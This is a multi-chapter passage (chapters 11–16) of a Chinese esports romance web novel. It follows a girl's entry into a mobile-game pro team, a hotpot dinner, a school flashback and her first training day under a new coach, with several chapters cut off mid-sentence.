配合相当默契,狄仁杰半残往后拉,李元芳往前一步刚好进入澜技能落脚点,一顿快刀斩乱麻加后羿狂暴最后几秒的箭收下第一滴血。 “喔!”场内沸腾。 “云缨过来,二技能往澜身上这边戳过来,但刚好被躲过了,再往前……” 云缨见技能没中便折返了,演播室叹了口气:“其实再往前上可以收割掉狄仁杰的,可惜了。” “是的,但是澜还在这边,云缨这波打法是偏保守了的。” 宣依在零星跳转的视角里大概知道了云缨的技能大概是什么,更详细的她准备自己去玩一下:“这英雄上手难吗?” “还好,但是如果打野的话,澜更适合你。”齐呈枫答。 “那就都拿下咯。” 她自己都没有意识到,自己在聊起游戏时会不自觉说这么多话。 比赛在众多目光中来到了十分钟,双方已经有了明显的优劣势,BTG经济比Wolf高了4000多,Wolf的下路已经被推到了高地。 宣依的坐姿闲散下来,已经自己低头登进了游戏。 她没有先去了解英雄技能被动的习惯,很多东西都是靠自己零散领悟得来。 台上、台下同时进行。 到了后期的原因,齐呈枫看得认真,一直到Wolf的水晶被攻破他才扭头去看宣依的战局。 彼时她的对局也已经进行了六分钟,齐呈枫侧头看向战局的时候刚好是一波团战,双方势均力敌,宣依的经济也不占优势。 “二技能,”齐呈枫靠近指挥,“a,三,三,一。” 他的口速很快,毕竟只是指尖敲下一瞬间的事情,但宣依跟上了,一个也没按错地跟上了。 云缨技能华丽地在屏幕里舞动,宣依见缝插针般记着技能的样式。 她一点就通,在人群里跃起又落下,而她手起又落下完美让三技能第二段的后摇隐匿于了一技能的跃起之中,无师自通地按下普攻,顺利打出了燎原百斩,将远处落荒而逃的射手收割掉。 屏幕里的战报应接不暇。 宣依抬眸看向他。 手机屏幕就那么大,齐呈枫想要看清楚必然会靠得比较近,但宣依看过来时,他才感受到了他们之间的距离有多近。 近到他看见了宣依黑色浓密的睫毛,不算卷翘却很长……近到他们的呼吸纠缠起来。 齐呈枫扶在靠椅边的手一软,身子往下一塌,在快要碰到宣依的那刹那,被宣依后仰的动作躲开了,整个人一抖。 而宣依根本就没在意这些,等齐呈枫坐正身子后也直起了腰,划开了游戏。 “这么坑?”齐呈枫震惊于她干脆利落的退出。 宣依的脸又埋进了围巾里,但已经过了为BTG拿下第一局欢呼的此起彼伏,现在的场馆内相对安静,至少足以让齐呈枫听见宣依哼笑了声。 她今天心情很好。 “齐少,我玩的人机局,需要给那些人机道个歉吗?” 齐呈枫哑声,将视线又转向大屏幕:“第二把不会那么无聊的。” 毕竟三局两胜,这把再如上把那么水就过分了。 “我知道,”宣依看着齐呈枫,棒棒糖的甜融在舌尖,抬手取出棒棒糖的棍子后继续说,“上把Wolf也没认真打。” 虽然很尽善尽美,但宣依就是看出来了。 在前面短短的七八分钟里,看上去的全力以赴却并没有。 宣依一个路人观众都可以只靠一把了解云缨的技能连招,甚至可以熟练于指尖,可Wolf的云缨却在该用强化一技能收割的时候选择用二技能入场打团。 也许在台下观众的视野里,他是冲锋陷阵,主动开团,就连演播厅的解说也是这么形容的,虽然那波团落败也被叹息。 但一个开局谨慎不收割残血的打野,又怎么会在有着经济差的关键时间点去开一波明知会败的团。 他们,一个在用怪异的阵容下马威,一个就陪对方演这场戏。 “但总不可能就把两分送到别人面前吧。” 12. 这是第十二章 《这个辅助有点野》全本免费阅读 比赛最后什么结果齐呈枫不知道,他从第二场结束后就离开了场馆。 比赛结束后,一行人在场馆外才看见了他。 “呈枫,你咋走了?”程舟远远看见便开口问。 “有点热。” 程舟认真感受了一下迎面吹来的风,春风浮躁,刮来时仍带着刺骨的寒意:“你确定?” 齐呈枫略过了这个话题:“最后谁赢了?” “BTG,”魏晟勾搭上来,“枫哥,明天复盘的时候有重点咯。” 宣依步伐缓慢也跟了上来,秦珠还一脸睡意朦胧地靠在她肩头。 是谁提了句去吃饭,秦珠瞬间就清醒了:“这么多人,吃火锅!?” “可以啊!”程舟第一个出言支持。 其他人还在相望,秦珠迫不及待地展开手将一群人揽着往前走:“走嘛走嘛,我们学校那边有家火锅店味道很好的!” “一中附近什么时候还开了火锅店。”齐呈枫绕开了秦珠的手,迈步走在旁边。 “一中?”秦珠转头看向他,“开什么玩笑呢,我这成绩去一中?” “那你是哪个学校的?” “十九啊,”双手揽着的人也自己迈步,秦珠笑嘻嘻地挽着宣依的手继续说,“齐少,你是一中的?” 秦珠对齐呈枫的了解来源于她口中那个玩世不恭的大少爷形象,但不是说他没读了吗? 一中的好学生还会辍学? “你和宣依是同班同学?” “是啊。” 齐呈枫表情复杂,没再回话低头掏出手机摆弄。 摸不透这些富家公子的喜怒无常,秦珠便和宣依聊起她刚才在场馆内迷迷糊糊做的一场梦。 - 重回校园林荫路,秦珠刚离开一周不到就开始感慨:“当时我们就每天都往这条路走,然后就在那儿等公交。” 她指向不远处的站牌。 宣依走在内侧,透过围墙看向校园内,还有几个班级正上着体育课。 黄昏已然落下,透过枝繁叶茂在路面留下橙黄的“窟窿”,校园外略显幽静的人行道上他们一步又一步落在光辉上。 那块公交车站牌在红绿灯的斑马线旁。 红灯的秒数还在跳转,秦珠就凑过去看站牌上的线路号,抬手指向其中一行:“我和依依就是坐这班车,但是我俩是反方向,她坐公路对面那班。” 凌一鸣:“你们晚自习放了还有公交啊?” “有啊,差不多赶上末班车。” …… 对话在耳边进行,齐呈枫远远扫了眼那班公交车的线路,一遍结束的时候红灯就跳转到了绿灯,他们迈步往对面走。 齐呈枫还驻步。 “走了。”程舟揽着他的肩往公路带。 视线匆匆扫完了第二遍。 没有“湖悦山墅”。 一行人走进火锅店时,立马迎来了服务员问“几位”“有没有预约”等一系列问题,被秦珠游刃有余一一回答。 菜单传阅了一圈递给了服务员,桌上又沉寂下来。 “哎呀,都这样了……”程舟把服务员手里的茶壶夺了过来,给每个人倒了水,倒完最后一杯站起身躬腰往宣依的方向递,“宣依,依姐!” “我18。” 精简果断。 程舟秒改口:“好好好,依妹,看在我们带你前排看比赛的份上就来给我们当陪练呗!” 本以为还要再说一些什么,可宣依点点头就结束了。 “你,同意了?” 他们搜到宣依的王者号后还特地给教练看了,也就是说拉宣依来当陪练不是他们五个一时冲动,是经过了他们教练认可的。 “看在这顿火锅你们请客的份上,同意了。”宣依淡定地拿起杯子喝水。 “小意思!”程舟说着就举起了一旁的水杯朝着宣依伸去。 “说得好像你请一样。”齐呈枫也被程舟晃晃手举起了杯子。 “哎呀,说这些,回头不是要报销嘛!”程舟笑嘻嘻地就要干掉这杯柠檬水。 区区火锅拿下“美人陪练”,稳赚。 魏晟和凌一鸣打完蘸料碗走来,一一传递后也得知了这个消息,凌一鸣又开口:“那既然有好消息了,来个坏消息助助兴?” 程舟:“啊?别扫兴啊。” “任教练明天带着副队回来,训练安排恢复之前的。” “啊??” 凌一鸣无奈点点头,以宣告消息的真实性:“宣依,幸运吧?” “啊?” 宣依的语调自是和他们不同,并不是唉声叹气,而是对“幸运”二字的疑惑。 锅端上来点燃了火,将座位对面的凌一鸣魏晟他们隔开。 齐呈枫看向她开口:“简而言之就是,入队也是有要求的,副队其实就已经充当了陪练这个身份,所以如果你想要入队首先得得到教练认可。” “我连主力都赢过,还怕这?” 她口中的主力不言而喻,是郑晨。 好在郑晨坐在另一边,并不知道他自己又被藐视了一番。 齐呈枫看着她轻松的样子,不知是否该讲这些:“你知道郑晨为什么那么在意输赢吗?” 在那天的争吵中的只言片语里,宣依捕捉到的消息是,郑晨是从射手位上被挤下来的。 “他的起点很高,从青训赛一路杀出来的打野,同期无人不知的存在,但很不凑巧,他出来的第一场正式比赛就撞上了版本改动,年少轻狂,他甚至没有熟悉那些机制,最后被战队罚下场后销声匿迹了很久。” “再后来,朝阳刚放出要成立电竞俱乐部消息的时候,他突然又出现了,步步谨慎成了CY的第一任ADC,俱乐部的第一份成就也是他打出来的,但也不巧……” “遇上了我,”齐呈枫跳过了关于他的那部分内容,简述道,“昔日被众人熟知的黑马打野就这么一步步成了辅助,他不服很正常,太正常了。” 宣依对此没有很多的情绪,就像是儿时听故事一般,作为局外人平淡抽出身:“那你的意思是……” “他没让着你,”齐呈枫了断地打断了宣依的顾虑,“我的意思是,可能还有更不巧的事情,他又遇上了你。” 闻言,宣依下意识看向郑晨。 他大多时候都是沉默的,像个融不进话题但又必须带在身边的小孩,此时也是拿着筷子默默搅拌着他的蘸料碗。 “我没有抢他位置的想法,我答应当陪练……”宣依收回视线看向齐呈枫。 四目相对,环境喧嚷。 而她的声音在热气腾腾的雾气里一字一句格外清晰。 13. 这是第十三章 《这个辅助有点野》全本免费阅读 十九中的晚自习为自愿制,渐入黑夜整条街也变得热闹起来。 不远处的门边传来喧闹声。 秦珠探头看去,只一刹又低下了头,看上去比刚才吃得更认真了些。 “诶,宣依,”喧嚷声从桌边路过时,有位戴眼镜的女士停下了脚步,“我学生,你们先去坐。” 话落,她的目光打量了一番桌上的几个男生,眼神轻蔑,语气闲散:“考完就出来潇洒啦?” 宣依扫了她一眼后,若无其人地继续将肉片蘸着调料。 她也不顾两人有没有接话,就继续说:“这次考试不是很难,考得怎么样?” “宣依还能发挥上次的水准吗?” “徐老师?” 桌上只有两人目光看向了面前这个较为高挑的女老师。 一个是程舟,一个是齐呈枫。 他俩的位置刚好对着过道,程舟的目光中更多的是好奇,而齐呈枫却极致冷漠,和说话语气一样冰冷。 “嗯?你是?”徐盛芬闻言便看向了他。 少年仰头看她,气势却未落得下风。 “我是16届的张伟啊,您不会忘记我了吧?”他一本正经的目光丝毫未怯懦。 “噢,想起来了…”徐盛芬挂上笑容,却不显和蔼更像是在谄媚逢迎。 这副模样宣依太过熟悉。 是在高二寒假前的那个期末,宣依整理完东西后便在教室门口等秦珠。 她不知道为何,她已经拒人千里之外了,可总有那么几个人接受不了她的脾气又总来烦她,有个学长便是其中之一。 宣依在高中能记住的班外人名字不多,这个学长凭借着优异拔尖的成绩以及日常出现在班级前的死缠烂打让宣依记住了他的名字。 期末考结束,宣依在返回教室的走廊远远便看见了那个身影。 “宣依,那个任大学霸又来找你咯!”附和着周边几个知情人士的起哄,任哲文的视线落在了宣依身上。 秦珠拽着书包挡在了两人之间,说着话便挽住了宣依的胳膊:“依依,你的书我帮你收拾了,走吧!” 两人转身换了方向,朝楼梯间去了。 谁知道,任哲文追过来的时候从楼梯上摔了下去,衣服厚实大抵也不严重,但磕绊中手腕磕在了阶梯上,远远听见他吃痛地喊了声。 宣依和秦珠作为当事人只能带着他去医务室。 这件事如何你一言我一语地变化,又是如何传到徐盛芬耳中的,她们俩完全不知情。只是等医生给他固定木板时,徐盛芬和任哲文的父母都来了。 见这么大阵仗,宣依不由感叹了一句:“摔个跤还全家出动。” 下一秒就迎来了徐盛芬铺天盖地的斥责:“你还好意思在这儿说,要不是你任哲文会从楼梯上摔下去吗?” 徐盛芬高挑再加之几年的班主任气质,秦珠是怯她的,挽着宣依的手低着头大气都不敢喘。 但宣依对此无感,她缓缓从椅子上站起身看向徐盛芬:“他自己没站稳摔下去和我有什么关系?” “我好心好意送他来医务室,还成我的不是了?” “这位同学,我都听你们徐老师说了,哲文是看你被拌了才来拉你的,结果他自己摔了,我们没有要怪你的意思,你说话不要这么难听……”徐盛芬身边的男士看起来彬彬有礼,语气也轻。 宣依听到这么扯蛋的传闻张口就要反驳,却被面前的女人吼住:“还没有怪她,凭什么不怪她!我们哲文摔成这个样子不都拜她所赐,不仅要怪,哲文的医药费也得她出!” “不是,有病吧?”宣依按耐不住她的脾性,一口气骂了出来。 “宣依!”徐盛芬一口吼住她,“你知不知道人家任哲文今年是要高考的!这个节骨眼,手对一个高考生多么重要,你知道吗!?” 见战况越来越火热,坐在里面固定木板的医生开口止住了双方的骂架。 宣依一口气吊在嗓子眼又憋了回去,提起一旁的书包准备往外走又被拦住:“医药费!” “有病。”宣依最后甩下这么一句话,绕开了拦在身前的手就出了医务室。 而最后落入她耳的是徐盛芬安抚两位家长的话——“哲文父母,你们也别担心,哲文是我们学校重点培育的学生,我们校方会承担一部分医药费的。” 可是那部分的医药费是他们自己交的保险。 “那女生也就那性格,平时也没什么人和她走得近,成绩也不好,分配到我们班上也是我的倒霉。” 宣依哼笑一声,已经不想反驳。 “她爸死了,她妈是别人家洗衣做饭的……” 她回头看向医务室内,徐盛芬一脸巴结讨好的模样和如今没什么两样。 而宣依一步一步继续踏着,这些话就如耳旁风一般并未让她表情有丝毫动容,可她骗得了别人骗不了自己,那天她突然想找个依托,而她只有章文华,于是那天她搭上了去湖悦山墅的那班公交。 但不巧,那天齐夫人也在家。 齐夫人见宣依来了,分外高兴便吩咐厨房多做了几个菜。 宣依被拉到客厅沙发上坐下,嘴里自然地和齐夫人相敬如宾地聊着,目光往厨房探去时看见的却是母亲在为了齐夫人吩咐的几道菜忙碌。 也在此刻,徐盛芬的话一遍遍在脑海里重播。 直到感受到鼻尖猝不及防涌上酸涩,眼眶溢满了泪水,她才缓过神来察觉到自己并不像想象中那么悠然自得,别人的话也没办法只当耳旁风。 “齐夫人,我头有点晕不是很想吃,”宣依扯着衣袖覆上眉梢遮住自己憋泪时或许发红的眼眶,“先回房间休息一下了。” 宣依和章文华在同一间房,她自然没办法那么轻易流露情绪,只是靠在书桌椅上,将思绪投入那一行行题目里。 徐盛芬说,任哲文是学校重点培育的学生。 还说,宣依成绩不好。 有些事情她已经无力挽回,比如父亲的去世。 但有些事情,她还可以改变。 比如成绩,再比如母亲身微言轻的工作,她都可以改变。 她是怎么去的十九中? 所有人都不知道她为什么要拿着一手好成绩进十九中,秦珠觉得这是上天为她安排的缘分,章文华以为她是发挥失常,徐盛芬在宣依后续平平无奇的成绩里归结为宣依作弊后胆怯被发现。 十九中确实糟糕,环境糟糕,师资糟糕,食宿糟糕。 但相比起一中那高昂的午餐费,应接不暇的校外活动以及各式各样的消费……她承担不起,更不希望让章文华独自一人承担。 所以她去了十九中。 再后来因为成绩拔尖的会被选去竞赛,那些消费学校也不会全包,她在学习成绩上又选择了沉寂。 夜深,她做到了最后两道大题时却顿住了,读了两遍题目后思绪依旧受困。 今年的拟考题这么难? 宣依有了这片刻的空闲,脑海里又开始浮现那些话,一句一句震荡在脑子里再也没法集中精力去解题,她捏着试卷的边角,忍不住一点一点将它揉搓在手心。 塞满笔迹的试卷渐渐被揉成团在宣依手中变得越来越小……她做了半个多小时的卷子就这么在分秒间变成了一个纸团,又在下一刻被抛到了书堆边。 “依依,”章文华走了过来,低声询问,“齐夫人说你不舒服,现在好点儿了吗?” 宣依松懈地靠在椅背上,抬头看向母亲温柔慈爱的面庞:“我没什么,不饿,你快去吃饭吧。” 看着章文华犹豫着走出了房门,宣依叹了口气起身去洗了个澡。 越是安静如此的环境里,那些回忆越是不受控。 讨厌的质疑声总是不断出现,无视后又回荡,回怼后又冲击,好像无论如何她总是陷于讨论里,从小时候失去父亲再到后来别人知道母亲的工作又到现在因为成绩。 质疑的浪花从未停止过淹没她的想法。 浪潮一次 14. 这是第十四章 《这个辅助有点野》全本免费阅读 海浔的夜沉下来,世界安静,沙沙作响的风声吹过,车鸣笛。 宣依站在树荫下,眺眼望去即将行来的公交。 在秦珠的强烈推荐下,一行人选择了坐公交回安诚街,于是被满足的秦珠从离开火锅店一路到公交站都在断断续续讲着当初坐车的一些趣事。 黑夜里,他们是热闹的。 程舟他们被秦珠讲的那些事逗得哈哈笑,宣依和齐呈枫走在了末尾。 齐呈枫扭头看了眼此时沉默的宣依:“心情不好?” 风呼哧刮来,宣依依旧沉默。 “我刚才是不是不应该说那些话……”齐呈枫抿唇又道,“但我觉得那口气不能就这么憋回去了,哪怕事情已经过去了,我还是觉得不能低头沉默。” “小酿酒,我这样做让你不高兴了吗?” 那时候,隔着屏幕齐呈枫没有过多打探宣依的生活,但她的网名又太长,所以总唤她“酿酒”。 大多时候是“酿酒”又或是“酿酒同学”,团战匆匆的时候只有个“酒”字,那次安慰她,带着她去蹲草的时候是第一次叫她“小酿酒”。 这是第二次。 这几个字都柔柔的,从他嘴里说出来也会一改低沉冷淡,像是宠溺的亲昵。 宣依自顾自地摇头:“你撒谎了。” “嗯?” 他们站在公交车牌的边缘,看着不远处行来的公交车,秦珠扯了扯其中一人的衣袖指向这辆公交车:“就是这班。” 齐呈枫闻声看向那边,很快又收回视线等待宣依解答,见她平淡如常,齐呈枫又探问:“我撒什么慌了?” 公交车停下,伴随着吱嘎的声音车门打开,齐呈枫就跟在队尾上车,又跟着宣依往后排走。 刚准备在宣依旁边落座,秦珠就从自己位上起身,拦截了齐呈枫坐下:“枫哥,换个位呗。我和我们依依有话聊。” 车窗微开,寒风侵入。 车一路往安诚街驶去,任教练要回来的消息压得几个人气氛低沉,正在恶补近几天的比赛。 程舟突然想起来下午BTG和Wolf的第三场对局,拍了拍齐呈枫:“对了,呈枫,你今晚把下午的第三场比赛补一下吧,任教练肯定要讲。” 齐呈枫抽神揉了下眼睛点头,又下意识扭头看向斜后方靠窗的宣依,看着她在微风里凌乱的刘海,想起当时昏暗的场馆内,她赤诚的目光以及那吊人心弦的“如果站在泉水那侧的人是你,我觉得可以守下来”。 可晚风里,她又是冷淡的模样。 她说,他撒谎了。 是陈述句,并没向他确认。 就像栖枫这一层身份,她也并没有用多余的打探得知。 - 昏昏沉沉的睡眠状态里,屋外乒铃乓啷的噪音惹得宣依无法再无视,揉着乱糟糟的头发伸手摸出手机。 七点刚过! 随着几天的生活,生物钟已经截然不同。 宣依深沉了口气,下了床,裹了件外套往外走,拉开门便看见程舟正刹着拖鞋,嘴巴边还是没擦掉的牙膏泡子,一向挂着礼貌笑容的魏晟此刻蓬头垢面,睡眼朦胧地扭头看了眼宣依这个方向。 分秒,他们又忙碌起来,几个屋门来回开关,不注轻重,还有什么东西搬动时在地上刮过的声音,乱成一团。 他们的嘴也没闲着, “一鸣!修好了没啊啊啊啊!” “枫哥!你那儿位置大再帮我塞两双袜子呗!” 门开后,愈加喧闹的环境把秦珠也从梦里拉了出来,拖着还走不清直线的身子凑过来:“干嘛呢?这么早搞装修?” 宣依摇摇头,已经没了困意,转身回去洗漱。 等她整理完毕,秦珠不知何时又倒回了床上。 “一起走还是我先走。”宣依站在床尾,看了眼时间,发现几分钟前有条未读消息。 她滑开手机,点进微信。 【7:你今天早点来。】 宣依是靠着上面那条好友通过的验证消息才想起来这是齐呈枫,她重新打了备注才退出页面,声音又大了些:“珠!一起走还是我先走?” 秦珠翻了个身扯着被子往上拉了拉,迷迷糊糊就答道:“我再睡会儿。” 昨日餐桌上关于这位任教练的评价总结下来,她试想了一下任教练的形象,大概是个高大具有极强震慑力的技术选手。 但走进网咖环视一圈也没发现有这号人物。 她收回目光,往人群靠近。 “你们和她说时间了吗?”沉闷,有点粗但很明显是个女人的声音。 “来了。”凌一鸣的朝向正好对着门口。 随之,一片目光齐刷刷落在了宣依身上。 刚才说话的女人修着短发,干净利落,袖口挽在手臂上露出小麦色的小臂,眉头紧锁着对着宣依点头:“第一天,不做惩罚,往后七点半没到罚50个俯卧撑。” 她不足徐盛芬的个子,却有着比她更强的气场。 宣依在她放出第一句话时确实被震慑住了。 “行了,首发队你们先和副队打一局内战,”女人翻开她捧着的规划表,“今天下午安排了一场和南城AQ的友谊赛,试试水平,主队副队一队一局。” 话落,一群人走向训练室,大厅内只剩下这位女人和宣依。 “我不知道他们有没有和你说过我,”女人合上规划表边往前台走边说,“我叫任宙,王者14赛季到17赛季的巅峰榜前五,18和19赛季的榜三,国服木兰、白起、元歌、宫本等,于19赛季成为CY的教练。” 她的介绍太过官方,仿佛百度百科般的叙述。 但宣依已经从字里行间以及她漫不经心的语气里领会到了她的实力。 她站在了一个高度,让这群年少轻狂的少年不得不服气。 任宙将规划表搁在了前台上,又扭头看向宣依:“关于你,我大概了解了,榜上无名的新人。” 她形容得直接却也没错,宣依并没反驳,只是默默看着她。 她偏头一笑:“不爱说话?” “这可不是个好习惯,游戏里与队友沟通是很重要的事情,沉默在峡谷里不是件好事。” 宣依依旧沉声。 “那你的第一项训练,就是沟通。” 任宙带着宣依走进训练室,彼时两支队伍刚选完英雄,还未错过任何一秒的发育。 “你选择一支队伍进行战术安排,我则在另一支队伍。” 宣依看着两支队伍,一支在几天的相处中已经熟悉,而另一支截然相反。 她的脚步下意识往主队迈出时又迅速收回,换了方向。 越为严苛的环境里,成长越快。 这是优胜劣汰必然经受的。 如任宙所说,她现在是个榜上无名的新人,她的脚步已经慢于别人了,如果前进的速度也慢于别人,那她注定是被淘汰的那一批。 任宙勾起唇角,向另一个方向走。 宣依扫过两支队伍的英雄选择,她拼凑着算是和对面的每一个人都进行过游戏,虽说没有正式比赛那么认真但下意识的打法什么的并不会改变。 宣依靠近其中一人的屏幕:“辅助直接跟射手抢线,中路清完线看下红区视野。” 辅助往中路移动的头像很快便往下路移动。 兴许是女教练的压迫,她们并没有对宣依的安排多一句反问,言听计从地行动起来。 郑晨的辅助打得很规矩,无论怎样的阵容他都会往 15. 这是第十五章 《这个辅助有点野》全本免费阅读 并没有观看整把比赛,似是让宣依回忆起这把对局:“如果我没猜错,至少在这个赛季你是对机制完全了解的。” 宣依点头认可。 脑海里关于栖枫的记忆一点点扑涌上来,是燥热的夏日里烦躁的一局局游戏,是偶尔脾气不好时的受气筒。 而一切的开始似乎都是这场对局。 任宙扣下电脑屏幕,在凌乱的桌子上找到了一叠a4纸,印满了四号思源宋体,字里行间又勾勒着红色的着重符号又或是寥寥几字的标记,任宙将这叠纸和一张手写的笔记推到宣依面前:“这是当前赛季的一些大改,下面的是所有英雄的技能和被动,标注是该英雄比较经典的一些对局,电脑里都有。” “我有多长时间?”宣依听懂了任宙的意思。 他们没有时间一步步带宣依从基础开始,更没有时间一对一地讲解机制和新英雄。 “你没有时间,”任宙冷淡陈述,“这里的竞争与其他地方不同,有些人可能一辈子都出不了头,打不了一场像样的比赛。” 她向副队辅助的位置扬下巴:“他叫陈宇,他打电竞4年,现在是全俱乐部最大的选手,曾经差一点就可以上主队打比赛,但他输了,他的名字在电竞圈里耳熟能详,可在圈外无人问津。” 她又扭头看向郑晨:“而郑晨,虽然看起来像是一代神话渐落魄的人气选手,但他从来都不差劲,他的天赋可能不算高,但他能坐在这儿绝不是空穴来风。” “而你,”任宙的目光再次落在宣依身上,“身上有一种韧劲,是见到你第一眼我便认可的东西。” “我私心地希望你能站上这个舞台,创造一番佳绩。” - 晌午,秦珠靠在椅子上正在咔咔打字,好一会儿兴许是肚子饿了,她抬眼往训练室望去,喃喃:“怎么今天还不吃饭啊!” 尾音拖得老长,但宣依仍埋头沉迷于那些密密麻麻的文字。 她对知识的消化从来不是死记硬背。 手机屏幕里是王者训练营,一旁还架着一台平板,与训练室的笔记本数据相同,正停留在英雄操作的剪辑页面。 宣依来回切换着英雄,她将之前熟知的英雄调整大概记了下,主要侧重于她空白期的九名新英雄以及三名重塑英雄。 从简概描述到视频观看后的训练营上手再到王者人机局实操。 她并没有因为任宙所说的“没有时间”而马虎这件事。 试到蒙恬的时候,训练室的门被拉开,一群人乱糟糟地从房间里走出来,没了从前的朝气,往前台轻描淡写地呼了声“吃饭”。 宣依的压根没听到这样的动静,是一只纤细的手敲在面前的木板上才让她回了神。 任宙微弯着腰,看了眼宣依的屏幕:“走吧,先吃饭,下午有场友谊赛你可以来看一下。” 宣依点头,站起身时目光却未离开过那页记录,匆匆扫完最后几个字后脑海里重播了一遍才回答:“好。” “你也是边学边上手?” 她恍惚了一瞬,栖枫说“一件事想要做好就不能将目光只放在这一件事上,计划将它做得十全十美,世界上没有十全十美”。 世界上没有十全十美,宣依即便天赋再高,在短时间内想要熟练掌握这些英雄也绝无可能。 所以宣依从一开始就没打算将这些英雄烂熟心底,她只需要了解这个英雄的打法、技能、被动等,这些事情她有了轮廓就会跳下一个英雄。 机制再怎么变化,核心的玩法是不会变的。 宣依点头:“这样比较快,我明天就可以加入正式训练了。” 秦珠饿了太久,冲在了最前面。 队尾只剩下了她们,任宙失声一笑:“你现在也是正式训练,不是和这群五大三粗的人一起训练才叫正式。” “任姐,当我们面这样说不太好吧。”程舟不知何时从队前掉到了队尾,又恰巧听见了对话。 昨天那样的议论让宣依一度觉得任宙的形象应当是一丝不苟的,可此时任宙的手往程舟肩膀一推,笑容洋溢在脸上。 这群少年的个子都高,任宙气场强大也得仰视他们:“舟,怎么?在女生面前需要给你们留点颜面?” 宣依又默默成为了背景板,脚步不快不慢地跟着,耳边他们的对话有一句没一句地入了耳。 她的视线始终聚焦在地面,脑海里简单重播着刚才所记录的信息,那么一部分的英雄克制也便出现了。 类似鲁班大师,有控也拥有突出的开团能力,那与之对应一些拥有霸体又或是射距较长的伽罗将会不易被怼脸切掉。 一个个英雄在脑海里浮现,就像数学的几何图形不断进行各种各样的组合、拆配,形成不一样的局面,而每一个局面都拥有截然不同的解法与答案。 直至身旁落下一道人影,宣依的思绪截然收回,偏头看去。 原来成为背景板的不只有她,还有一个比之更沉默的齐呈枫,从和程舟落入队尾到程舟和任宙聊得津津有味,他一直都走在旁边一句话也插不上,如若不是绕到宣依身侧,大概连宣依也不会注意到后排还有他。 对视上,宣依脑海里构建的假设被打断,扭头重新组建却有些无法集中思绪,她摇了摇头闭眼,那些内容短暂出现又消失,最后叹了口气又扭头看向齐呈枫:“为什么不和他们一起走?” 她语气不太好,记恨着他打断自己思绪的事。 微风扬过他的头发,阳光撒下来,让随性慵懒的少年看起来意气风发:“有事得问清楚。” “哦……你不是刚发现来壶桂花酿是我的,”宣依语气平淡,他所要问的问题也是自己的意料之中,但一向冷淡的她,在句末又缓缓添上了“对吧?” 她让齐呈枫有所回答,或者她想看看齐呈枫要将这场掉马甲的戏演到何时。 齐呈枫抬手揉了揉头发,臂弯遮挡了侧脸也看不见情绪:“对。” 本就蓬松的头发被他揉得有些凌乱。 宣依没在说话,看着即将进入的巷口,她从没想要去了解这件事的全貌……兴许就是人家单纯不想与一个可有可无的游戏搭子见面,也不想和宣依有过多牵扯。 倘若是这样的话,她觉得点到为止就够了。 齐呈枫步子一顿,手从乱糟糟的头发里抽出轻轻拉了下宣依的衣服。 她的衣服大多宽松,走起路来像企鹅一样,天知道这个样子有多可爱! 宣依顺着肩头的手指扭头看向齐呈枫。 四目相对。 “怎么不走了?”程舟竟还能察觉到两块背景板的动静,也驻步回头看他们。 海浔的春天 16. 这是第十六章 《这个辅助有点野》全本免费阅读 小饭店因为人数的庞大变得热闹起来,主队和副队分成了两桌,任宙和秦珠都坐在主队那桌,再加上齐呈枫便没有空位了。 宣依顿在饭店门口,往下隔断的阶梯被日益积累的油渍浸满,踩在上面有种缥缈的感觉,很不真实,也让人忐忑。 其实宣依不善言辞,坐在哪儿好像都差不多,她会充当好背景板的身份。 刚要迈步,手臂传来的力道将宣依从原位往主队桌一拉,她抬眸看见齐呈枫借身从身前走向副队桌的身影。 他什么话也没留下,只是将宣依的位置拉向了主队桌。 宣依看着他落座的背影而后往主队桌走。 任宙正在给主队讲下午友谊赛的一些事情,宣依盯着桌子重新整理关于新英雄的思绪。 “宣依,你觉得呢?”话题里突然带过她的名字,宣依错愕地抬头看向任宙。 木楞的神色,任宙便料到了:“身为CY的一员,我们在聊的内容,你是得知道的。” 没有时间……他们无时无刻都在进行新的内容,而这些内容是宣依也必须加入的,所以宣依是真的没有时间来将那些错过的知识细嚼慢咽。 “下午的友谊赛,是两轮,主队一轮,副队一轮。”任宙却还是向宣依重复了一遍,“你还没正式入队,无法参与这次的友谊赛,但我觉得你并不比那一桌的选手差劲。” 宣依越听越觉不对劲,好像自己的加入会使这个团队有一番变化。 “择日不如撞日,优胜劣汰,你想加入这支队伍就请拿出你的实力。”任宙语气平淡。 在宣依消化这一句话时,她的身影站了起来。 随着两声拍桌,所有视线都落在了任宙身上,她的嗓音在饭店内冲荡开:“吃完饭后,1v1淘汰赛,之前积分排在前三的凌一鸣、齐呈枫、程舟直接轮空,排名第四的魏晟与败者积分最高对局。” 原先这个赛制是为了平衡副队人数而制定的,至于为何牵扯上主队,是齐呈枫空降成为主队射手那年在郑晨极力反对下成立的。 这句话落下,有部分视线落在了宣依身上。 很显然,这场比赛是为她准备的。 - 赛制为抽签决定,胜者以时间人头比例计算积分,败者进入二轮抽签继续,直到留下最后一个人进行淘汰。 任宙将几张简单的纸条折好后丢在了桌上:“抽吧,四点半还有友谊赛,速战速决。” 一只只手向桌面伸去。 宣依站在纸堆前,抬眸看向桌对面的任宙:“任教练,我其实觉得这样并不公平……” 她的质疑又一次聚焦了目光。 “这支队伍每个人的专攻方向都不一样,用单挑来决定一个人的去留太草率了。” 她个子不高,长得软纯,但从来不怯场,也不疑问,她总是平淡地阐述自己的观点无需别人的支持。 “我们俱乐部的规定你一上来就否了?”靠在一旁的男生听完后出声,“怕输?输给我不丢人。” 他的尾调拖长,居高临下。 桌上的纸条已经一一对应,唯有握在他手中的纸条无人对应。 宣依吐了口气,抓起最后一张纸条,走流程地打开后将纸条上的字面向说话的那个男生,这一刻宣依才恍惚觉得他有几分眼熟。 等到任宙点头让各自对局时,宣依才想起他是任宙口中那个打了四年电竞的老选手,陈宇。 “有什么要求没?”陈宇端着手机瞟了眼宣依。 宣依一手拿着手机一手捏了捏脖后的肉:“正常打就行了。” 抽签的纸条上给每组都选择了单挑的英雄。 如果遇上一人拿手一人不擅长,那也只能只认倒霉,这是属于CY的优胜劣汰。 他们抽中的是澜。 对于宣依而言一个全新的英雄和老英雄没什么区别,都需要面对重回峡谷的生疏期。 其他人已经快速进入了对局,宣依还未落座,确认召唤师技能的一刻她低头看向陈宇:“我说了,这是很草率的对局,所以输赢不必当真。” “我知道,这样的对局赢了没什么值得炫耀的。” 宣依点头。 说来也巧,她总是在和CY的辅助单挑,不是主队就是副队。 游戏缓冲进页面,采用传统的1v1地图,在不知多少次的版本更改后,单挑的时间因为“首塔被推即算失败”而缩短,于是有一则不成文的单挑守则:双方不允许推塔。 